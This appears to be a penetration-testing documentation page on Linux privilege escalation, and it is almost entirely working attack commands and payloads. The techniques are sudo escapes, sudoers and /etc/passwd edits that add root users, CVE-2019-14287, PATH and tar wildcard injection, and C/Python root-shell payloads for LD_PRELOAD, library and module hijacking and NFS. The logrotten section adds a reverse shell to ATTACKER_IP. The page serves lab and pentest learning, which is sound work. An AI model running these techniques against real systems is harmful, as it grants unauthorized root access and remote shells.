> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Linux Privilege Escalation

Everything here assumes the leads already gathered on the [Linux OS Enumeration](https://0-x.dev/linux/linux-os-enumeration.md) page, a sudo rule, a SUID binary, a writable file, a capability. This page is what to actually do with each one. Kernel-version-specific exploits (Dirty Cow, Dirty Pipe, Pwnkit, and similar) have their own page, see [Linux Exploits](https://0-x.dev/linux/linux-exploits.md), and privileged group membership (docker, lxd, disk, adm) has its own page too, see [Linux Privileged Groups](https://0-x.dev/linux/linux-privileged-groups.md). This page covers the misconfigurations in between: sudo rules, file permissions, capabilities, and library loading.

> **Misconfiguration-Based**
>
> A sudo rule, a writable file, or a capability that was set too loosely. No exploit code needed, just the right command.

> **Code-Execution Primitives**
>
> Library/module hijacking and similar techniques, these need a small C or Python payload compiled or dropped in the right place.

***

## Sudo Abuse

Start from what `sudo -l` showed during enumeration. Three separate things to check for:

**Allowed to run as root directly**

If a binary is allowed to run as root, [GTFOBins](https://gtfobins.github.io/) is the place to check whether that binary can be abused to get a shell, read a file, or write a file as root, almost every common binary (`find`, `vim`, `less`, `python3`, `tar`...) has a known escape listed there. A few of the most common language interpreters, directly:

```bash theme={null}
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
CMD='/bin/bash'; sudo php -r 'system("$CMD");'
```

If the allowed command is a text editor with no further restriction, edit `/etc/sudoers` directly and grant full access:

```bash theme={null}
sudo vim.tiny /etc/sudoers
# add this line, then save and exit
student ALL=NOPASSWD:ALL
```

**Allowed to run as another user**

Still useful even without root, a sudo rule to run as any other user is worth taking, that user might have their own sudo rights, SSH keys, or group memberships.

```bash theme={null}
sudo -u user /bin/echo Hello World!
sudo su user -
```

**No password required at all (NOPASSWD)**

CVE-2019-14287 affects sudo versions before 1.8.28: if a sudoers rule allows running a command as any user *except* root (a common way admins try to restrict access), specifying a UID of `-1` or `4294967295` bypasses that restriction entirely and runs the command as root anyway.

```bash theme={null}
sudo -u#-1 id
sudo -u#-1 /usr/bin/ncdu /home/htb-student/
```

> [!NOTE]
>
> If `sudo -l` shows `env_keep+=LD_PRELOAD` on any rule, skip ahead to the [Library Hijacking](#library-and-module-hijacking) section below, that single setting is a direct path to root regardless of which binary the rule is actually for.

***

## PATH & Wildcard Abuse

> **PATH hijacking**
>
> If a privileged script or cron job calls a common command (`ls`, `cp`) without a full path, and a directory earlier in `$PATH` than the real binary's location is writable, dropping a malicious file with that name there gets it run instead, as whatever user runs the script.
>
> ```bash theme={null}
> echo $PATH
> export PATH=.:${PATH}
> echo 'echo "PATH ABUSE!!"' > ls
> chmod +x ls
> # now trigger whatever process calls `ls` without a full path
> ```

> **Wildcard abuse (tar/rsync checkpoint trick)**
>
> Some privileged scripts run a command like `tar czf backup.tar.gz *` over a directory you can write to. GNU tar's `--checkpoint` options are themselves valid filenames, if tar expands a wildcard that happens to match files named like tar flags, it executes them as flags instead of treating them as filenames. Dropping files with these exact names in the writable directory makes tar run arbitrary commands.
>
> ```bash theme={null}
> echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
> echo "" > "--checkpoint-action=exec=sh root.sh"
> echo "" > --checkpoint=1
> # wait for the privileged tar job to run against this directory
> ```

***

## Capability Abuse

Linux capabilities split up what used to be all-or-nothing root power into individual permissions a binary can hold without being fully SUID. `cap_dac_override` is the one that matters most here, it lets a binary bypass file read/write permission checks entirely.

```bash theme={null}
getcap -r / 2>/dev/null                  # list every binary with a capability set
```

If something like `vim.basic` or `python3` shows `cap_dac_override=eip`, it can read and write any file on the system regardless of permissions, including the ones that actually matter.

```bash theme={null}
/usr/bin/vim.basic /etc/passwd
# edit the root line, or add a new UID-0 user (see Writable /etc/passwd below), then save
```

***

## Writable `/etc/passwd`

If `/etc/passwd` is writable directly (via a capability above, a misconfigured ACL, or any other write primitive), appending a new line creates a fully-privileged user from scratch, no password cracking needed, since you choose the hash yourself.

```bash theme={null}
openssl passwd -1 -salt newroot newrootpw
# outputs something like: $1$newroot$abcdefghijklmnopqrstu
echo 'newroot:$1$newroot$abcdefghijklmnopqrstu:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
```

> [!WARNING]
>
> This is a destructive change to a system file, fine in a lab, worth a second thought on anything you need to hand back in a clean state afterward.

***

## Library and Module Hijacking

Three variations on the same idea: get code you control loaded and run in the context of a more privileged process, by abusing how the dynamic linker or an interpreter finds the libraries/modules it needs.

**LD\_PRELOAD**

`LD_PRELOAD` tells the dynamic linker to load a specified shared library before any others. If `sudo -l` shows `env_keep+=LD_PRELOAD` on a rule, pointing it at a malicious library gets that library's code run as root the moment the sudo command executes.

```c theme={null}
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}
```

```bash theme={null}
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <path-to-binary-allowed-by-sudoers>
```

**Shared Object Hijacking**

A SUID binary that looks for a shared library (`.so`) in a path it shouldn't be able to write to, except that it can, loads whatever's placed there instead of the real library, running as the binary's owner.

```bash theme={null}
find / -perm -4000 -type f 2>/dev/null        # find SUID binaries
ldd <binary>                                    # list binary's library dependencies
readelf -d <binary> | grep PATH                 # find a non-standard RUNPATH entry
ls -la /<writable-folder>/                        # confirm you can write there
```

Run the binary once to find the exact function it expects the library to export (it'll error on an undefined symbol), then build a replacement library exporting that function:

```c theme={null}
// shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void <function-name>() {
  setuid(0);
  system("/bin/sh -p");
}
```

```bash theme={null}
gcc shell.c -fPIC -shared -o /<writable-folder>/<library-name>.so
./<binary>
```

**Python Module Hijacking**

If a privileged script imports a third-party Python module, and that module's installed `.py` file is writable, editing the function it actually calls runs arbitrary code the next time the script executes as its normal (privileged) user.

```bash theme={null}
pip3 show psutil                                              # locate the module
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # check if it's writable
```

```python theme={null}
# inside the function the script actually calls, e.g. virtual_memory()
import os
os.system('/bin/bash')
```

```bash theme={null}
sudo /usr/bin/python3 ./the_privileged_script.py
```

***

## Weak NFS Export Permissions

An NFS share exported with `no_root_squash` lets a client-created SUID binary keep its SUID bit and root ownership, NFS normally maps remote root to an unprivileged user specifically to prevent this. Check `/etc/exports`for this setting before trying.

```c theme={null}
// shell.c, compile ON the NFS client (attacker-controlled) side
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void) {
  setuid(0); setgid(0); system("/bin/bash");
}
```

```bash theme={null}
gcc shell.c -o shell
sudo mount -t nfs TARGET_IP:/tmp /mnt
cp shell /mnt
chmod u+s /mnt/shell
# then, on the NFS server itself:
./shell
```

***

## Abusing Writable Service Files

> **Logrotate (logrotten)**
>
> If `logrotate` runs as root (the default on most distros) and you have write access to a log file it processes, [logrotten](https://github.com/whotwagner/logrotten) can get a payload executed as root during the next rotation. Affects logrotate versions 3.8.6, 3.11.0, 3.15.0, and 3.18.0.
>
> ```bash theme={null}
> git clone https://github.com/whotwagner/logrotten.git
> cd logrotten
> gcc logrotten.c -o logrotten
> echo 'bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1' > payload
> grep "create\|compress" /etc/logrotate.conf | grep -v "#"   # confirm the config triggers the vulnerable path
> nc -nlvp 9001
> ./logrotten -p ./payload /path/to/writable.log
> ```

> **Hijacking an abandoned tmux session**
>
> A `tmux` session someone left detached (rather than closed) stays fully active, if its socket is group-readable, reattaching to it drops you straight into that user's shell with no credentials needed at all.
>
> ```bash theme={null}
> tmux -S /path/to/shared/socket new -s debugsess   # as the original user, for reference
> ls -la /path/to/shared/socket                      # confirm the socket's group/permissions
> tmux -S /path/to/shared/socket                      # attach to the existing session
> ```

***

## Quick Reference Tools

> **[GTFOBins](https://gtfobins.github.io/)**
>
> Lookup table for escaping restricted shells or escalating via sudo/SUID/capabilities on a known binary.

> **[Linux OS Enumeration](https://0-x.dev/linux/linux-os-enumeration.md)**
>
> Where the leads this page acts on (sudo -l, SUID/capability findings, NFS exports) are gathered.

> **[Linux Exploits](https://0-x.dev/linux/linux-exploits.md)**
>
> Version-specific kernel/software CVEs (Dirty Cow, Dirty Pipe, Pwnkit), kept separate from the misconfiguration techniques here.

> **[Linux Privileged Groups](https://0-x.dev/linux/linux-privileged-groups.md)**
>
> What docker/lxd/disk/adm group membership alone can get you.

> **[Hacktricks Linux Privilege Escalation](https://hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/)**
>
> Hacktricks Linux Privilege Escalation Cheatsheet

> [!WARNING]
>
> Several techniques here (writable `/etc/passwd`, logrotten, LD\_PRELOAD against a live sudo rule) modify system state or spawn a root shell directly. Confirm scope, and know how to undo a change before making it on anything beyond a disposable lab box.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.